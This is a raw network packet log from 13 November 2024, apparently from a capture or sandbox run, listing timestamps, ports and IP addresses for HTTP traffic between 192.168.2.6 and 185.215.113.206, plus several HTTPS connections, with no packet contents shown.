Nov 13, 2024 18:08:35.499001980 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499001980 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499090910 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499102116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499113083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499123096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499134064 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499145985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499155998 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499155998 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499157906 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499176025 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499181032 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499213934 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499238014 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499252081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499264002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499274969 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499286890 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499296904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499325991 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499326944 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499341011 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499571085 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499608994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499619961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499631882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499643087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499660015 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499660969 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499660969 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499672890 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499700069 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499700069 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499725103 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499824047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499835014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499864101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499875069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499881029 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499886990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499916077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499927044 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.499936104 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499936104 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.499963999 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500077009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500087976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500098944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500124931 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500124931 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500534058 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500638962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500650883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500662088 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500677109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500682116 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500689030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500708103 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500708103 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500722885 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500888109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500900030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500910044 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500921965 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500933886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500935078 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500945091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500956059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500966072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500971079 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500971079 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.500981092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.500999928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501003981 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501003981 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501010895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501020908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501032114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501034975 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501038074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501044035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501063108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501092911 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501262903 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501274109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501307964 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501399040 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501424074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501434088 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501444101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501455069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501457930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501457930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501465082 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501471043 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501476049 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501487970 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501497984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501507998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501514912 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501514912 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501549959 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501549959 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501734018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501744032 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501755953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501765966 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501779079 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501790047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501799107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501806021 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501806021 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501808882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501818895 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501826048 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501833916 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501846075 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501863956 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501873970 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501883984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501894951 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501894951 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501908064 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501918077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501926899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501939058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501940966 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501940966 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501946926 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.501975060 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.501975060 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502485037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502495050 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502504110 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502513885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502523899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502533913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502551079 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502551079 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502561092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502572060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502582073 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502585888 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502592087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502602100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502609015 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502618074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502646923 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502646923 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502656937 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502669096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502679110 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502691031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502706051 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502706051 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502718925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502731085 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502741098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502749920 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502753019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502764940 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502775908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502779007 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502779007 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502785921 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.502826929 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.502826929 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503452063 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503464937 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503473997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503485918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503498077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503515959 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503515959 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503525019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503536940 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503540039 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503547907 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503561020 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503568888 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503571033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503582001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503593922 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503612041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503619909 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503619909 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503623962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503638029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503650904 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503664970 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503691912 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503706932 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503747940 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503922939 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503935099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503945112 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503957033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503967047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503977060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503981113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503981113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.503988981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.503998995 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504014969 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504019022 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504019022 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504051924 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504059076 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504070044 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504081964 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504093885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504105091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504105091 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504105091 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504118919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504127979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504139900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504149914 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504162073 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504164934 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504164934 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504173040 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504183054 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504204035 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504215956 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504216909 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504240036 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504251003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504288912 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504288912 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504878044 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504901886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504914999 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504925013 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504935980 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504945993 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504949093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504961014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504970074 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.504972935 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504982948 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.504993916 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505006075 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505008936 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505008936 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505017996 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505034924 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505039930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505039930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505045891 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505057096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505067110 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505078077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505079985 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505079985 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505093098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505115986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505116940 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505116940 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505151987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505151987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505167961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505181074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505189896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505201101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505213022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505224943 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505239964 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505239964 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505276918 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505276918 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505834103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505846977 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505870104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505881071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505886078 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505892038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505903006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505918026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505928993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505934000 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505940914 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505951881 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.505955935 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505984068 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.505984068 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.506380081 CET	49939	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.510134935 CET	49954	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.510190010 CET	443	49954	23.198.7.164	192.168.2.6
Nov 13, 2024 18:08:35.510354996 CET	49954	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.511430025 CET	49954	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.511446953 CET	443	49954	23.198.7.164	192.168.2.6
Nov 13, 2024 18:08:35.525901079 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.526232958 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.526458025 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.533782959 CET	443	49942	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.533989906 CET	49942	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.534013033 CET	443	49942	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.535336018 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.535339117 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.537565947 CET	443	49942	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.537636042 CET	49942	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.537935019 CET	49942	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.538110971 CET	443	49942	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.538310051 CET	49942	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.538322926 CET	443	49942	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.538656950 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.548810005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.548810005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.559367895 CET	443	49937	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.559652090 CET	443	49937	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.559700012 CET	443	49937	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.559704065 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.559741974 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.561268091 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.561326027 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.561497927 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.561523914 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.561634064 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.566390991 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.566411972 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.566463947 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.566467047 CET	49933	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.566504002 CET	49933	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.568818092 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.568823099 CET	443	49937	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.569169998 CET	49955	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.569183111 CET	443	49955	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.569391012 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.569412947 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.569446087 CET	49955	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.569472075 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.569498062 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.569539070 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.572419882 CET	49955	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.572433949 CET	443	49955	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.573549986 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.573570013 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.573925018 CET	49933	443	192.168.2.6	13.107.246.57
